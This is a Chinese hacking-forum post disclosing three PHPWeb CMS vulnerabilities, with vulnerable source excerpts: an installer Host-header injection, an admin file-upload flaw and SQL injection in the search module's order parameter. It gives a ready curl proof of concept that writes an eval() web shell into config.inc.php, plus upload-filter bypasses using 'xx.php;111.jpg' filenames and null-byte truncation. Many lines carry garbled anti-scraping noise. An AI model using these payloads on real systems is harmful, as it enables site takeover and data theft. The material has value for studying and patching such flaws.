找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2375|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:6 W" g& Y' \! z
: J# E; @& C% R! u! @
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码9 V  l8 i: q- ?" F

& D9 h# f2 i% x鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件" `- ^' M. H( K. e; P" b0 X
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
! \: R' m/ N+ }# A2 a9 G9 B) h% G
8 Z$ P+ X9 |' D) r# e9 C虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
  L* x4 B1 R$ a0 h) V/ z
9 ]( a, }. f3 ~$ K* ~分析:: \# V0 _3 ^) A+ j" M& p* B+ X# @

& h8 ^0 g. v( o: S9 X. i9 P- k ' z$ Y  w4 p" s* o3 Z/ t  C7 C
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤1 J! r) U" \. S0 z: |9 w. o

1 q/ ]" g! F( F9 U7 R8 B                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
) ~0 i4 ]0 e2 }6 C# L. A8 o4 k                                            $filestr=str_replace(" ","",$filestr);
% u8 q; z$ i; `0 }% X/ g5 g9 u                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
$ e2 W( I2 q, M( \: w3 x. {* b                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
  |5 A0 m2 [8 p+ H- w8 R                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);9 Q" g  e' Q$ p% B6 Z! K  r
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);% t6 B9 `8 f( T( g4 Q, U
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);" \  m, d; D1 z: I
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);5 `$ `* a) ~* k6 Y. T5 S6 b
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);, q0 _6 q( j$ h  t
4 H) s8 [1 n1 m; D) B1 V
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
0 S) ~1 l$ o( y$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^) Y+ m1 D- i4 i2 g
1 v% q$ v3 Z+ W' K7 W" V
poc:& f! O$ l4 {- z" k  I! ?6 y- ?% Y
, m/ z1 V7 x5 R. O
?
; a3 u6 }+ ]$ j$ D" y) N! |7 @1
& T- F% \$ s% Z7 E% t2 g9 x# K% O7 Ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"' K* t- i9 z% E: V7 c7 O, ~" C. `
shell地址: /config.inc.php
+ |% q4 u4 ^2 ?  @! `8 S* a5 c跟之前的 phpcms一样 需要远程数据库
! o/ y; G( a" G# p9 y! {3 `
  Y! r6 F; a9 k( |7 B——————————————————–
& w7 i3 I4 ~$ N9 |# I上传漏洞(需要进后台):
3 q# n  F0 l2 H) P7 {" y$ B/ H; o. O漏洞文件: /kedit/upload_cgi/upload.php
$ {5 }; u. ^( \' u5 c6 v7 c这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
0 T: C9 A" H* N. u8 g % r' f" {2 }9 ^
" ]! o+ V3 U5 H' k2 N; ?
<?php/ l2 R( F* T7 R8 k1 J
    define("ROOTPATH", "../../");; F7 N7 Y5 G; u7 e5 r1 j5 o( v
    include(ROOTPATH."includes/admin.inc.php");
' n/ G! g2 s0 Q3 U    NeedAuth(0);
8 P2 z! u7 }, V1 A$ B; f2 v# D / I, D* u, C  x  Q
    $dt=date("Ymd",time());
1 D- s/ u1 l; y  S+ L: D    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
5 P, V, S9 I0 q8 f, v            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
* Z1 q0 U9 z$ c6 b' `    }
* _* |( a  r' K, b - y" q/ Z2 h3 ]5 W& y& D" g
    //文件保存目录路径7 r. a, H. J, d' [: L# f
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
6 L$ \' ~$ F2 T! E' i8 W    echo $save_path;* N, N/ g/ S7 |; e/ ?) l4 p
    //文件保存目录URL5 Z" V1 K. @) S
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
! O5 E; f, Q  v6 o% h; _ 1 r* c0 G) n# J/ u" a) ]# l5 S' ]
    //定义允许上传的文件扩展名& }2 m6 t( r- L2 m
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀& q9 ^6 B7 S6 u8 l6 J/ y
( Q2 }$ m9 z" E- H
    //最大文件大小2 j" z6 R' I8 x, q2 b, d
    $max_size = 1000000;
- ]( l& e7 c5 n3 `
; T. J2 p1 E' m% N    //更改目录权限
+ i, e+ z! w+ `8 `7 O. r    @mkdir($save_path, 0777);. C) Z: z( g! Z( i5 U* r, j- ?: U# Z
+ S' {- Z3 m9 E
    //文件的全部路径
7 @6 T. A. P  H' J! ]    $file_path = $save_path.$_POST['fileName'];   //保存文件名" q! |2 A) y3 e- T+ k
  x6 U5 y8 _. |, E" x
    //文件URL
& d( N( p+ p8 h& W9 }1 I; |1 g    $file_url = $save_url.$_POST['fileName'];0 v( J) k) M/ N6 A5 {, t
//有上传文件时
" C6 A4 J; D% s0 N    if (empty($_FILES) === false) {
, z9 r1 d6 O' c: }' g. N. o' z" o+ q+ g
9 }5 }9 B  y; G9 m& f; b7 c8 D            //原文件名7 E% W4 t: |! e( Z/ N6 W* S
            $file_name = $_FILES['fileData']['name'];
/ W9 u7 [4 L! O5 ~+ a. D0 l! Q/ X            //服务器上临时文件名4 w  C, T- l( o: [
            $tmp_name = $_FILES['fileData']['tmp_name'];
& A: l9 c# }1 f! y7 N) c            //文件大小& q8 D' N0 {" T, Z5 {% w1 d
            $file_size = $_FILES['fileData']['size'];
; _* ]4 `, o2 F% @# M            //检查目录2 k& X( h( W4 |; H, o$ ?9 _
            if (@is_dir($save_path) === false) {* R7 j" W! u) o" ^# W* u* d
                    alert("上传目录不存在。");
, k# t; K5 K5 T6 |1 f; u            }  H0 p5 E  n0 y  z
            //检查目录写权限
8 K1 F! m9 V0 l! a+ w            if (@is_writable($save_path) === false) {
  b5 t5 C+ B, ?5 S/ I3 ^                    alert("上传目录没有写权限。");" m0 E* [) b. n
            }8 }1 X, A7 p$ Q' s
            //检查是否已上传4 B/ a/ T; Y5 q3 q$ }
            if (@is_uploaded_file($tmp_name) === false) {
6 ?# P* w9 S/ @$ ?                    alert("临时文件可能不是上传文件。");
3 r9 _( z* ~0 j) P; E6 [            }8 ^2 s3 \1 s( k3 \% O, f
            //检查文件大小* M9 r3 E+ ?+ p8 W" T; q$ V
            if ($file_size > $max_size) {/ P% A, D$ v6 Y8 ?+ Y7 Z' B
                    alert("上传文件大小超过限制。");
( s4 Q9 D7 W; Y& ~            }/ j5 d- Z# v2 `' w, z* t8 S
            //获得文件扩展名
& B5 S( K6 Y$ E% d" _6 k6 p2 u5 c            $temp_arr = explode(".", $_POST['fileName']);
& o/ U& P, @) u: |, K            $file_ext = array_pop($temp_arr);
9 K5 o6 L9 I1 f, ^* t+ `2 T) e            $file_ext = trim($file_ext);' z7 X  b( z- W" ~1 Q
            $file_ext = strtolower($file_ext);
$ }, K- p7 |# r) ~. v1 h* Z2 ^* a1 L# [ , j! f2 M- i: H8 L& Q1 a/ x" D
            //检查扩展名   2 v( K  m. J' {* R
            if (in_array($file_ext, $ext_arr) === false) {     
, C; N4 Q6 p, e. t6 Y4 h- l) s                    alert("上传文件扩展名是不允许的扩展名。");
( p4 N  x6 d$ {+ ~. h) d& i0 u            }
. g8 k( ?3 {- I9 f& `7 `# o; H % [! A" e& z* a* y, s: I2 W: X
            //移动文件   
. _! }: w7 k% H/ v            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
2 e2 j5 `4 D5 J$ b            if (move_uploaded_file($tmp_name, $file_path) === false) {
( G% N$ ~$ H# }1 W: R. Y                    alert("上传文件失败。");
) @- _2 o1 A" P% q            }
  u7 r4 ^2 G9 |4 ]" K  Z
" x  y7 ~$ J2 _$ E            @chmod($file_path,0666);* C$ n$ Q$ I! f$ _

- Y  H9 \/ x7 C  L) C# E# N1 L" s    ?>
. Q2 R" U0 \# R4 g( k1 \抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
8 r; K3 N, _8 k2 S# R
7 O. r% p4 U& S" k# r# z3 capache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过4 ^3 B+ q& z: w$ V7 b
5 T* u' {* k' F- E; v3 r" |
——————————————————8 d; E; Z7 E% ?' @
注入漏洞:
0 D: i8 [$ L0 t' [漏洞文件:search/module/search.php
% p% q% u$ N% M0 q$ }, m6 ^/search/index.php?key=1&myord=1 [sqlinjection]! L9 g7 v  @/ b) m" x2 C
: g* ^) P# ^9 x/ I* _

, J, e  s- K; \! u/ F4 d. n- e<?php4 `8 N  B8 Z% _5 O- t
   //       ... 省略 n 行...& r3 |5 O0 j! r& Z
   //第18行:4 s- @3 ]/ r$ U
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
& a1 h) ~0 G/ l9 \8 t3 R  D           $page=htmlspecialchars($_GET["page"]);4 |3 _$ Z+ A, z- z
           $myord=htmlspecialchars($_GET["myord"]);
: `& T1 s7 C; ]3 S8 _ ( l/ s* T: _0 t0 y$ F! H
   //       ... 省略 n 行...+ U  U# e, ?" |8 ~  X9 z. Z
   $key,$myord 两个参数带入查询
4 P/ B3 @  @- n, Q) V   //第47行 $key:
& @7 f+ E8 q8 q: O% B$ w- P & B" H. Y0 F: h: E+ \
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
4 X% r/ n$ C% F4 ~/ C2 Y; L + I( |* C  A; j2 w0 ^" n3 @
   //第197行 $myord
! \( P% Q/ R6 q9 O" I   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入( o$ }- t! j" `+ _& o

: G, m3 Q, A. n' n, B+ j) Z   ?>
& \8 l# O+ Q! |; Z# D, D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表